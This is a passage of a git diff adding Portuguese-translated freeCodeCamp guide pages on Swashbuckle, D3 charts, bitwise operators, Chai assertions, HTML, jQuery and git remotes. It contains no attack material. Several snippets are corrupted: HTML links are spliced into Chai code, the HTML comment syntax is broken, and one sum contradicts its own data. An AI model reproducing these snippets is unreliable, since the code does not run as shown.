+1.  Você não precisa mais atualizar manualmente seus dados locais com dados do banco de dados; tudo é gerenciado automaticamente
+2.  Você pode enviar as alterações do banco de dados ao vivo para usuários em diferentes máquinas, tudo ao mesmo tempo
+
+Melhor ainda, se você incluir apenas SocketIO quando solicitado durante a configuração angular-fullstack yeoman, não há absolutamente nenhum trabalho envolvido para incluí-lo. Ele funciona imediatamente, tem uma demo de trabalho no **main /** route, e você pode aprender como usá-lo sozinho, simplesmente olhando como eles o incluem em **main.controller.js** (então eu não vou mais adiante detalhe).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md b/client/src/guide/portuguese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
new file mode 100644
index 0000000000..723cf0419e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
@@ -0,0 +1,78 @@
+---
+title: Arranging Operations Alphabetically in Swashbuckle Swagger
+localeTitle: Organizando Operações em Ordem Alfabética no Swaggerbuckle Swagger
+---
+[O Swashbuckle](https://github.com/domaindrivendev/Swashbuckle) adiciona um [Swagger](http://swagger.io/) aos projetos do WebAPI. No entanto, as operações na página não aparecem em ordem alfabética.
+
+Embora as operações não apareçam em ordem alfabética, o Swashbuckle permite filtros personalizados e com um pouco de codificação, a ordem pode ser mostrada em ordem alfabética.
+
+## Exemplo de código
+
+O código abaixo cria um [DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter) que é então aplicado ao documento final, conforme descrito [aqui](https://github.com/domaindrivendev/Swashbuckle#modifying-generated-operations) .
+```
+using Swashbuckle.Swagger; 
+ using System; 
+ using System.Collections.Generic; 
+ using System.Linq; 
+ using System.Web; 
+ 
+ namespace YourNamespace.Swagger.Extensions 
+ { 
+    public class CustomDocumentFilter : IDocumentFilter 
+    { 
+        public void Apply(SwaggerDocument swaggerDoc, SchemaRegistry schemaRegistry, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            //make operations alphabetic 
+            var paths = swaggerDoc.paths.OrderBy(e => e.Key).ToList(); 
+            swaggerDoc.paths = paths.ToDictionary(e => e.Key, e => e.Value); 
+ 
+            //controller comments do not get added to swagger docs. This is how to add them. 
+            AddControllerDescriptions(swaggerDoc, apiExplorer); 
+ 
+        } 
+ 
+        private static void AddControllerDescriptions(SwaggerDocument swaggerDoc, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            var doc = new YourPortal.Areas.HelpPage.XmlDocumentationProvider(GetXmlCommentsPath()); 
+ 
+            List<Tag> lst = new List<Tag>(); 
+            var desc = apiExplorer.ApiDescriptions; 
+            ILookup<HttpControllerDescriptor, ApiDescription> apiGroups = desc.ToLookup(api => api.ActionDescriptor.ControllerDescriptor); 
+            foreach (var apiGroup in apiGroups) 
+            { 
+                string tagName = apiGroup.Key.ControllerName; 
+                var tag = new Tag { name = tagName }; 
+                var apiDoc = doc.GetDocumentation(apiGroup.Key); 
+                if (!String.IsNullOrWhiteSpace(apiDoc)) 
+                    tag.description = apiDoc; 
+                lst.Add(tag); 
+ 
+            } 
+            if (lst.Count() > 0) 
+                swaggerDoc.tags = lst.ToList(); 
+        } 
+        private static string GetXmlCommentsPath() 
+        { 
+            return System.Web.Hosting.HostingEnvironment.MapPath("~/App_Data/YourPortal.xml"); 
+        } 
+    } 
+ } 
+```
+
+Agora você pode simplesmente adicioná-lo ao arquivo de configuração como este
+```
+.EnableSwagger(c => 
+    { 
+        ... 
+        c.DocumentFilter<YourNamespace.Swagger.Extensions.CustomDocumentFilter>(); 
+        ... 
+    } 
+ ); 
+```
+
+## Referências:
+
+*   [Swashbuckle](https://github.com/domaindrivendev/Swashbuckle)
+*   [Swagger](http://swagger.io/)
+*   [DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter)
+*   [Gist para o código acima](https://gist.github.com/pallu/0f28e98fa89d2855a321)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/backend-file-structures-in-angular/index.md b/client/src/guide/portuguese/miscellaneous/backend-file-structures-in-angular/index.md
new file mode 100644
index 0000000000..0cd9b489f7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/backend-file-structures-in-angular/index.md
@@ -0,0 +1,10 @@
+---
+title: Backend File Structures in Angular
+localeTitle: Estruturas de arquivos de back-end em angular
+---
+A API de back-end de seu aplicativo que interage com seu banco de dados está localizada em **/ server / api**  
+Vamos dar uma olhada em **/ server / api / thing** :
+
+1.  **index.js** : esse arquivo roteia as solicitações da API $ http feitas a partir do front-end do seu aplicativo para a função apropriada em **thing.controller.js**
+2.  **thing.controller.js** : Aqui é onde realmente lidamos com o banco de dados! Tome um minuto para olhar por aqui e descobrir o que está acontecendo. Estas funções irão: retornar todos os itens em uma coleção, retornar um único item de uma coleção quando passado seu id, postar um item em uma coleção, atualizar um item na coleção (isso não funciona como planejado fora da caixa, vamos consertar isso em um minuto) e, claro, excluir um item da coleção.
+3.  **thing.model.js** : Aqui, a estrutura real de um objeto _thing_ é definida. Você pode adicionar ou remover quaisquer campos que deseja a partir do modelo de _coisa,_ e enquanto eles são sintaticamente corretas que não vai quebrar nada, mesmo se há _coisas_ com diferentes esquemas no seu banco de dados já. Mas! Você não precisa apenas editar o modelo das _coisas_ para fazer um novo tipo de coleção, porque gerador-angular-fullstack pode fazer isso por você!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/bar-graph-project/index.md b/client/src/guide/portuguese/miscellaneous/bar-graph-project/index.md
new file mode 100644
index 0000000000..5278e2eb59
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/bar-graph-project/index.md
@@ -0,0 +1,95 @@
+---
+title: Bar Graph Project
+localeTitle: Projeto Gráfico de Barras
+---
+## Nosso objetivo é aprender o básico dos dados
+
+Visualização usando D3 através deste projeto.
+
+![captura de tela 2016-05-17 às 5 02 41 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d46c5c1c76bd03b9e85d450da02695d3f07c75c.png)
+
+## O que é o D3.js?
+
+Para aqueles que não estão familiarizados com o D3, o D3.js é uma biblioteca JavaScript para manipular documentos com base em dados. A D3 ajuda você a dar vida aos dados usando HTML, SVG e CSS.
+
+O D3.js ajuda você a anexar seus dados aos elementos DOM (Document Object Model). Então você pode usar CSS3, HTML e / ou SVG mostrar esses dados. Por fim, você pode tornar os dados interativos por meio do uso de transformações e transições controladas por dados do D3.js.
+
+## Explicação do Projeto:
+
+### Cenário:
+
+Há uma classe de alunos on-line interagindo com diferentes tópicos do assunto e faz um teste sobre esses tópicos.
+
+Existem 15 tópicos e em cada tópico, temos um número de alunos que fizeram o teste e marcaram em três categorias: Baixo, Médio e Alto.
+
+### Por exemplo (dados fornecidos):
+
+Tópico: "1", baixo: 4, médio: 13, alto: 18
+
+Tópico: "2", baixo: 11, médio: 12, alto: 6
+
+Tópico: "3", baixo: 12, meio: 24, alto: 6 e assim por diante.
+
+Note que o Tópico 1 tem `4 + 13 + 8 = 35` alunos fizeram o teste e o Tópico 2 tem `11+12+6 = 29` alunos e o tópico 3 tem 42 alunos e assim por diante.
+
+Queremos fazer gráficos interativos de barras e torta. Por exemplo, um mouse focalizado em uma das barras mudará o gráfico de pizza de acordo e vice-versa.
+
+Com a combinação interativa de gráfico de barras e gráfico de pizza, onde o gráfico de barras mostra o número de alunos que interagiram com determinado tópico (considerado o quiz) e o gráfico mostrando a classificação do desempenho desses alunos nas categorias "baixo, médio e alto" visualize nossos dados e obtenha mais análises de dados.
+
+## Dicas e Recursos:
+
+### Instruções passo a passo:
+
+[**D3 Introdução:**](https://d3js.org) onde você pode aprender sobre Seleções, Propriedades dinâmicas e Transições em D3.js.
+
+*   Na função principal javascript, escreva uma função para lidar com Histograma (gráfico de barras) - Histograma mostrará o número total de alunos que participaram do questionário (interagiu com esse tópico) para 15 tópicos.
+    
+    *   (Aqui é o [**tutorial**](https://bost.ocks.org/mike/bar/) onde você pode aprender como fazer um gráfico de barras usando a biblioteca JavaScript D3. O primeiro tutorial ensina como fazer uma versão básica em HTML, então um gráfico mais completo em Scalable Vector Graphics (SVG), e transições animadas entre visões.
+*   [Criar SVG para histograma](http://codepen.io/SundeepB/pen/CxveH)
+    
+*   Criar função para o mapeamento do eixo x e adicionar eixo x ao histograma SVG
+    
+*   Crie uma função para o mapeamento do eixo y e crie barras para que o histograma contenha retângulos e rótulos de tópicos.
+    
+*   Crie os retângulos e os rótulos de tópicos
+    
+*   Criar função para atualizar as barras. Isso será usado pelo gráfico de pizza
+    
+*   Escreva uma função para lidar com pieChart. - gráfico de pizza terá três fatias - Baixo, Médio e Alto para representar pontuações.
+    
+    *   [**Tutorial**](http://zeroviscosity.com/d3-js-step-by-step/step-1-a-basic-pie-chart) onde você pode aprender como fazer um gráfico de pizza, então transições entre visões e como criar uma legenda.
+*   Crie svg para gráfico de pizza.
+    
+*   Criar função para desenhar os arcos das fatias da pizza - as fatias da pizza serão baixas, médias e altas
+    
+*   Crie uma função para calcular os ângulos de fatia de pizza.
+    
+*   Desenhe as fatias da torta.
+    
+*   Criar função para atualizar o gráfico de pizza. Isso será usado pelo histograma.
+    
+*   Calcule a frequência total por segmento para todo o tópico.
+    
+*   Calcule a frequência total por estado para todos os segmentos.
+    
+
+## Resultado da análise de dados e o que podemos inferir da visualização:
+
+*   O gráfico de pizza inicial mostra a classificação agregada de todas as pontuações do aluno em todos os tópicos combinados em três categorias "baixa, média, alta"
+    
+*   Gráfico de barras inicial que mostra o número de alunos que interagiram nesse tópico em particular
+    
+*   Qualquer categoria Selecionada do gráfico de pizza atualizará o gráfico de barras, mostrando o número de alunos que interagiram em vários tópicos com pontuação pertencente a essa categoria específica.
+    
+*   As capturas de tela abaixo mostram o foco do mouse na fatia "Média" e na fatia "Alta" do gráfico de pizza, respectivamente, e para essa fatia específica, gráficos de barras por tópicos e número de alunos.
+    
+
+![captura de tela 2016-05-17 às 5 13 53 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/1/106f06d412df6db5b4a421dc4769d22695cbec72.png)
+
+![captura de tela 2016-05-17 às 5 14 05 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7b23ebe89f74f11090984dbc4dc68212e3beceb3.png)
+
+*   A barra de qualquer gráfico de barras selecionado atualizará o gráfico mostrando a classificação de todos os alunos nesse tópico específico em três categorias Baixo, Médio e Alto. A captura de tela abaixo mostra o foco do mouse no Tópico 2 e para esse tópico em particular, quantos alunos categorias Baixo, Médio e Alto
+
+![captura de tela 2016-05-17 às 5 13 26 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7bd7c613bdb882f2b7c1f76f9778a1bda3e886dd.png)
+
+Referências: [1\] Exemplos de \[https://d3js.org](https://d3js.org) [2\] D3.js Introdução - \[https://www.dashingd3js.com/why-build-with-d3js](https://www.dashingd3js.com/why-build-with-d3js)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/bitwise-operators/index.md b/client/src/guide/portuguese/miscellaneous/bitwise-operators/index.md
new file mode 100644
index 0000000000..0715890288
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/bitwise-operators/index.md
@@ -0,0 +1,47 @@
+---
+title: Bitwise Operators
+localeTitle: Operadores bit a bit
+---
+`<<` , `>>` , `&` , `|` , `~` e `^` são os operadores bit a bit que operam em um ou mais padrões de bit ou numerais binários no nível de seus bits individuais.
+
+## Operador AND
+
+`x & y`
+
+Faz um "bit a bit e". Cada bit da saída é 1 se o bit correspondente de x AND de y for 1, caso contrário, será 0.
+
+## Operador OR
+
+`x | y`
+
+Faz um "bit a bit ou". Cada bit da saída é 0 se o bit correspondente de x AND de y for 0, caso contrário, é 1.
+
+## Operador de complemento
+
+`~ x`
+
+Retorna o complemento de x - o número que você recebe trocando cada 1 por 0 e cada 0 por 1. Isto é o mesmo que -x - 1.
+
+## Operador XOR
+
+`x ^ y`
+
+Faz um "bitwise exclusivo ou". Cada bit da saída é o mesmo que o bit correspondente em x se esse bit em y é 0, e é o complemento do bit em x se esse bit em y for 1.
+
+## Operador de mudança aritmética esquerda
+
+`x << y`
+
+Retorna x com os bits deslocados para a esquerda por y lugares (e os novos bits do lado direito são zeros). Isso é o mesmo que multiplicar x por 2 \*\* y, preservando o sinal do número. A maioria dos compiladores lança um aviso quando você muda com uma contagem> = sizeof (type). Você geralmente acaba com um 0 quando você faz isso.
+
+## Operador direito de mudança aritmética
+
+`x >> y`
+
+Retorna x com os bits deslocados para a direita por y posições. Isso é o mesmo que dividir x por 2 \*\* y para um inteiro não assinado. O deslocamento à direita de um número assinado negativo possui um comportamento definido pela implementação. A maioria dos compiladores lança um aviso quando você muda com uma contagem> = sizeof (type). Mudar para a direita pode preencher bits "vazios" com o Bit Mais Significativo original (isto é, executar extensão de sinal) ou pode mudar em zeros, dependendo da plataforma e / ou compilador.
+
+## Operador direito de deslocamento lógico
+
+`x >>> y`
+
+Retorna x com os bits deslocados para a direita por y posições. Ao contrário da mudança aritmética, as mudanças lógicas não representam sinal. Por exemplo: -2 representado em 8 bits seria 11111110 (porque o bit mais significativo tem peso negativo). Deslocando-o um bit usando a mudança aritmética, você terá 11111111, ou -1. O deslocamento lógico à direita, no entanto, não importa que o valor possa representar um número; simplesmente move tudo para a direita e preenche a partir da esquerda com 0s. Mudar o nosso bit direito de um-bit usando o deslocamento lógico daria 01111111. Este operador não está necessariamente presente em todos os idiomas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md b/client/src/guide/portuguese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
new file mode 100644
index 0000000000..8034644501
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
@@ -0,0 +1,77 @@
+---
+title: Capitalize the First Letter of a String
+localeTitle: Capitalize a primeira letra de uma string
+---
+Para capitalizar a primeira letra de uma string aleatória, você deve seguir estas etapas:
+
+1.  Pegue a primeira letra da string;
+2.  Converta a primeira letra em maiúscula;
+3.  Obtenha o restante da string;
+4.  Concatene a primeira letra maiúscula com o restante da string e retorne o resultado;
+
+## 1\. Obtenha a primeira letra da string
+
+Você deve usar o método [charAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932) , no _índice 0_ , para selecionar o primeiro caractere da string.
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.charAt(0); // Returns "f" 
+```
+
+> NOTA: é preferível usar o método `charAt` que usar o `[ ]` ( [notação de colchetes](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950) ) como `str.charAt(0)` retorna uma string vazia ( _`''`_ ) para `str = ''` invés de `undefined` no caso de `''[0]` .
+
+## 2\. Converta a primeira letra em maiúscula
+
+Você pode usar o método [toUpperCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950) e converta a string de chamada para maiúscula.
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.charAt(0).toUpperCase(); // Returns "F" 
+```
+
+## 3\. Obtenha o restante da string
+
+Você pode usar o método [slice ()](https://github.com/freecodecamp/freecodecamp/wiki/js-array-prototype-slice) e obter o restante da cadeia (do segundo caractere, _índice 1_ , até o final da cadeia).
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ string.slice(1); // Returns "reeCodecamp" 
+```
+
+## 4\. Retorne o resultado adicionando a primeira letra e o restante da string
+
+Você deve criar uma função que aceite uma string como único argumento e retorne a concatenação da primeira letra capitalized `string.charAt(0).toUpperCase()` e o restante da string `string.slice(1)` .
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ function capitalizeFirstLetter(str) { 
+  return str.charAt(0).toUpperCase() + str.slice(1); 
+ } 
+ 
+ capitalizeFirstLetter(string); // Returns "FreeCodecamp" 
+```
+
+Ou você pode adicionar essa função ao `String.prototype` para usá-lo diretamente em uma string usando o seguinte código ( _para que o método não seja enumerável, mas possa ser sobrescrito ou excluído posteriormente_ ):
+
+```javascript
+var string = "freeCodecamp"; 
+ 
+ /* this is how methods are defined in prototype of any built-in Object */ 
+ Object.defineProperty(String.prototype, 'capitalizeFirstLetter', { 
+    value: function () { 
+        return this.charAt(0).toUpperCase() + this.slice(1); 
+    }, 
+    writable: true, // so that one can overwrite it later 
+    configurable: true // so that it can be deleted later 
+ }); 
+ 
+ string.capitalizeFirstLetter(); // Returns "FreeCodecamp" 
+```
+
+### Fonte
+
+[stackoverflow - Capitalize a primeira letra da string em JavaScript](http://stackoverflow.com/questions/1026069/capitalize-the-first-letter-of-string-in-javascript/1026087#1026087)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/chaijs-assertexpression-message/index.md b/client/src/guide/portuguese/miscellaneous/chaijs-assertexpression-message/index.md
new file mode 100644
index 0000000000..c448b887c3
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/chaijs-assertexpression-message/index.md
@@ -0,0 +1,15 @@
+---
+title: Chaijs Assertexpression Message
+localeTitle: Chaijs Assertexpression Message
+---
+[@param](/users/param) {Mixed} expressionto test for truthiness
+
+*   [@param](/users/param) {String} messageto exibir no erro
+
+Escreva suas próprias expressões de teste.
+```
+assert('foo' !== 'bar', 'foo is not bar'); 
+ assert(Array.isArray(<a href='http://chaijs.com/api/assert/' target='_blank' rel='nofollow'>]), 'empty arrays are arrays'); 
+```
+
+detalhes: \[http://chaijs.com/api/assert/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/chaijs-cheatsheet/index.md b/client/src/guide/portuguese/miscellaneous/chaijs-cheatsheet/index.md
new file mode 100644
index 0000000000..e68d8e7c9c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/chaijs-cheatsheet/index.md
@@ -0,0 +1,130 @@
+---
+title: Chaijs Cheatsheet
+localeTitle: Cheatsheet Chaijs
+---
+## Afirmar
+```
+assert(val) 
+ assert.fail(actual, expected) 
+ assert.ok(val) // is truthy 
+ assert.equal(actual, expected) // 'compare with ==' 
+ assert.strictEqual 
+ assert.deepEqual 
+ 
+ assert.isTrue 
+ assert.isFalse 
+ 
+ assert.isNull 
+ assert.isNotNull 
+ assert.isUndefined 
+ assert.isDefined 
+ assert.isFunction 
+ assert.isObject 
+ assert.isArray 
+ assert.isString 
+ assert.isNumber 
+ assert.isBoolean 
+ 
+ assert.typeOf(/tea/, 'regexp') // Object.prototype.toString() 
+ assert.instanceOf(chai, Tea) 
+ assert.include(<a href='https://github.com/rstacruz/cheatsheets' target='_blank' rel='nofollow'> a,b,c ], a) 
+ assert.match(val, /regexp/) 
+ assert.property(obj, 'tea') // 'tea' in object 
+ assert.deepProperty(obj, 'tea.green') 
+ assert.propertyVal(person, 'name', 'John') 
+ assert.deepPropertyVal(post, 'author.name', 'John') 
+ 
+ assert.lengthOf(object, 3) 
+ assert.throws(function() { ... }) 
+ assert.throws(function() { ... }, /reference error/) 
+ assert.doesNotThrow 
+ 
+ assert.operator(1, '<', 2) 
+ assert.closeTo(actual, expected) 
+```
+
+## Deve: cadeias
+```
+.to .be .been .is .that .and .have .with .at .of .same 
+```
+
+## Não deveria
+```
+expect(object).not.equal('x') 
+```
+
+## Expectativas
+```
+expect(object) 
+  .equal(expected) 
+  .eql 
+  .deep.equal(expected) // same as .eql 
+  .be.a('string') 
+  .include(val) 
+ 
+  .be.ok(val) 
+  .be.true 
+  .be.false 
+ 
+  .be.null 
+  .be.undefined 
+  .be.empty 
+  .be.arguments 
+  .be.function 
+  .be.instanceOf 
+ 
+  .gt(5)  # or .above .greaterThan 
+  .gte    # or .at.least 
+  .lt(5)  # or .below 
+ 
+  .respondTo('bar') 
+  .satisfy (n) -> n > 0 
+ 
+  .have.members([2, 3, 4]) 
+  .have.keys(['foo']) 
+  .have.key('foo') 
+ 
+  .exist 
+ 
+ expect(-> ...) 
+  .throw /not a function/ 
+```
+
+## Chai-jQuery
+```
+    global.jQuery = ...; 
+    chai.use(require('chai-jquery')); 
+ 
+    expect($body) 
+ 
+      .have.attr('foo') 
+      .have.prop('disabled') 
+      .have.css('background') 
+      .have.css('background-color', '#ffffff') 
+      .have.data('foo') 
+ 
+      .have.class('active') 
+      .have.id('id') 
+ 
+      .have.html('<em>hi</em>') 
+      .have.text('hello') 
+      .have.value('2013') 
+ 
+      .be.visible 
+      .be.hidden 
+ 
+      .be.checked 
+      .be.selected 
+ 
+      .be.enabled 
+      .be.disabled 
+ 
+      .be.empty 
+      .to.exist 
+      .to.contain('text') 
+      .to.have('.selector') 
+```
+
+> \[CheatSheets ricostacruz
+> 
+> [Discuta sobre gitter](https://gitter.im/bothelp/testing)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/challenge-dcommenter-html/index.md b/client/src/guide/portuguese/miscellaneous/challenge-dcommenter-html/index.md
new file mode 100644
index 0000000000..d215ff116a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/challenge-dcommenter-html/index.md
@@ -0,0 +1,12 @@
+---
+title: Challenge Dcommenter HTML
+localeTitle: HTML do Dcommenter de desafio
+---
+Comentários permitem que o código seja ignorado. Em HTML, os comentários são feitos colocando o código que você deseja ignorar com `<!--` e `-->` .  
+`<! - Ce texte n'apparaîtra pas puisqu'il est un commentaire ->`
+
+Você pode facilmente descomentar o código HTML removendo itens de comentários.
+
+**_Nota:_** Tenha cuidado ao descomentar o código HTML e lembre-se de remover os elementos do começo e do final do seu comentário!
+
+**_Nota: Os_** comentários podem ser feitos de forma diferente em outras linguagens de programação, como JavaScript, mas a idéia geral de remover tudo o que representa um comentário se aplica.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md b/client/src/guide/portuguese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
new file mode 100644
index 0000000000..24c6ed15c7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/challenge-dire-bonjour-aux-elements-html/index.md
@@ -0,0 +1,15 @@
+---
+title: Challenge Dire Bonjour Aux Elements HTML
+localeTitle: Desafio Diga Olá para elementos HTML
+---
+Os elementos HTML são gravados com uma tag de início, uma tag de finalização e conteúdo entre eles:
+
+*   `<nom-de-la-balise>contenu</nom-de-la-balise>`
+
+O elemento HTML inclui tudo o que está incluído desde a tag inicial até a tag final:
+
+*   `<p>Mon premier paragraphe HTML.</p>`
+
+As tags de abertura são assim: `<h1>` e as tags de fechamento são assim: `</h1>`
+
+*   Observe que a única diferença entre uma tag de abertura e uma de fechamento é que a tag de fechamento tem uma barra após a divisa de abertura. A barra na tag de fechamento é muito importante porque indica que a tag é o final desse elemento.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md b/client/src/guide/portuguese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
new file mode 100644
index 0000000000..190b37177f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/challenge-informer-avec-l-element-de-paragraphe/index.md
@@ -0,0 +1,13 @@
+---
+title: Challenge Informer Avec L Element De Paragraphe
+localeTitle: Desafio informar com o elemento do parágrafo
+---
+O elemento `p` é o elemento preferido para texto de parágrafo de tamanho normal em sites. `p` é a abreviatura de "parágrafo".
+
+Você pode criar um elemento `p` como este: `<p>Je suis un élément p !</p>` .
+```
+<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+ <p>Bonjour Paragraphe</p> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/challenge-titre-avec-un-element-h2/index.md b/client/src/guide/portuguese/miscellaneous/challenge-titre-avec-un-element-h2/index.md
new file mode 100644
index 0000000000..07dc1734b4
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/challenge-titre-avec-un-element-h2/index.md
@@ -0,0 +1,10 @@
+---
+title: Challenge Titre Avec Un Element H2
+localeTitle: Desafio do título com o elemento H2
+---
+Você pode criar elementos de título usando h1, h2, h3, h4, h5, h6, o que resultará em tamanhos diferentes.
+```
+<h1>Hello World</h1> 
+ <h2>ApplicationDePhotosDeChats</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/portuguese/miscellaneous/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..4a662ed88a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,14 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: Alterar texto dentro de um elemento usando jQuery
+---
+Usando jQuery, você pode alterar o texto entre as tags de início e fim de um elemento. Você pode até mesmo alterar a marcação HTML.
+
+jQuery tem uma função chamada `.html()` que permite adicionar tags HTML e texto dentro de um elemento. Qualquer conteúdo anteriormente dentro do elemento será completamente substituído pelo conteúdo que você fornecer usando essa função.
+
+Aqui está como você iria reescrever e colocar em itálico o texto do nosso título:
+```
+$("h3").html("<em>jQuery Funhouse</em>"); 
+```
+
+O jQuery também possui uma função similar chamada `.text()` que apenas altera o texto sem adicionar tags. Portanto, ao usar o `.html()` , lembre-se de que você estará editando toda a marcação e não apenas o texto.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/change-text-with-click-events/index.md b/client/src/guide/portuguese/miscellaneous/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..46d29e94c7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/change-text-with-click-events/index.md
@@ -0,0 +1,10 @@
+---
+title: Change Text with Click Events
+localeTitle: Alterar texto com eventos de clique
+---
+Quando um evento de clique acontece, podemos usar o Ajax para atualizar um elemento HTML com o seguinte código:
+```
+$(".message").html("Here is the message"); 
+```
+
+Isso diz ao jQuery para usar a `message` da classe como o seletor e, para isso, alterar o HTML para que a string forneça, também podemos adicionar elementos html personalizados envoltos em aspas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/portuguese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..5798b5c105
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,16 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: Alterar o CSS de um elemento usando jQuery
+---
+Também podemos alterar o CSS de um elemento HTML diretamente com o jQuery.
+
+A consulta tem uma função chamada `.css()` que permite alterar o CSS de um elemento.
+```
+<script> 
+  $(document).ready(function() { 
+    $("#target1").css("color", "red"); 
+ 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/change-the-url-of-a-remote-repository/index.md b/client/src/guide/portuguese/miscellaneous/change-the-url-of-a-remote-repository/index.md
new file mode 100644
index 0000000000..a57215d6fe
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/change-the-url-of-a-remote-repository/index.md
@@ -0,0 +1,28 @@
+---
+title: Change the Url of a Remote Repository
+localeTitle: Alterar o URL de um repositório remoto
+---
+O comando `git remote set-url` altera um URL de repositório remoto existente.
+
+**Este comando leva dois argumentos:**
+
+1.  Um nome remoto existente. Por exemplo, origem ou upstream são duas escolhas comuns.
+    
+2.  Um novo URL para o controle remoto. Por exemplo, `https://github.com/USERNAME/OTHERREPOSITORY.git`
+    
+
+**Então, para mudar o URL de um repositório remoto, você faria algo assim:**
+
+1.  Veja o repositório remoto existente:
+
+`git remote -v`
+
+1.  Altere o URL do repositório remoto:
+
+`git remote set-url origin https://github.com/USERNAME/OTHERREPOSITORY.git`
+
+1.  E você pode verificar o novo repositório remoto fazendo:
+
+`git remote -v`
+
+_Para mais informações, confira [este artigo do github.](https://help.github.com/articles/changing-a-remote-s-url/)_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md b/client/src/guide/portuguese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
new file mode 100644
index 0000000000..058f4d658b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
@@ -0,0 +1,55 @@
+---
+title: Changes Made to the Site on February 11 2016
+localeTitle: Alterações feitas no site em 11 de fevereiro de 2016
+---
+## Corrigindo os gargalos que fizeram o FreeCodeCamp.com tão lento
+
+*   Nossa comunidade de código aberto está crescendo rapidamente e, nesta semana, nosso site diminuiu o ritmo durante os horários de pico.
+*   Nós analisamos vários gargalos e os corrigimos. O Free Code Camp agora deve estar mais rápido do que nunca.
+*   Um enorme obrigado a [@berkeleytrue](https://gitter.im/berkeleytrue) por liderar este esforço, e aos muitos campistas que ajudaram a controlar essas melhorias.
+
+## Apresentando nosso novo Wiki
+
+*   Nosso wiki está agora no próprio FreeCodeCamp.com (ao contrário do Wiki do GitHub do nosso projeto principal).
+*   Nosso wiki aparece como nosso bate-papo e mapa. Congratulamo-nos com comentários sobre esta nova funcionalidade. Teclas de atalho, artigos wiki com reconhecimento de contexto e outros recursos virão em breve.
+*   Um grande obrigado a [@saintpeter](https://gitter.im/saintpeter) , [@hallaathrad](https://gitter.im/hallaathrad) e [@awesomeaniruddh](https://gitter.im/awesomeaniruddh) , juntamente com muitos outros campistas por seu trabalho duro nisso!
+
+## Abrindo nossa loja
+
+*   Nós temos uma nova campanha de camisetas até 15 de fevereiro. Apresse-se e compre uma dessas incríveis camisetas do Free Code Camp: [clique aqui para nossa campanha nos EUA](https://teespring.com/free-code-camp-feb) | [clique aqui para a nossa campanha da UE](https://teespring.com/free-code-camp-t-shirt-eu-shop)
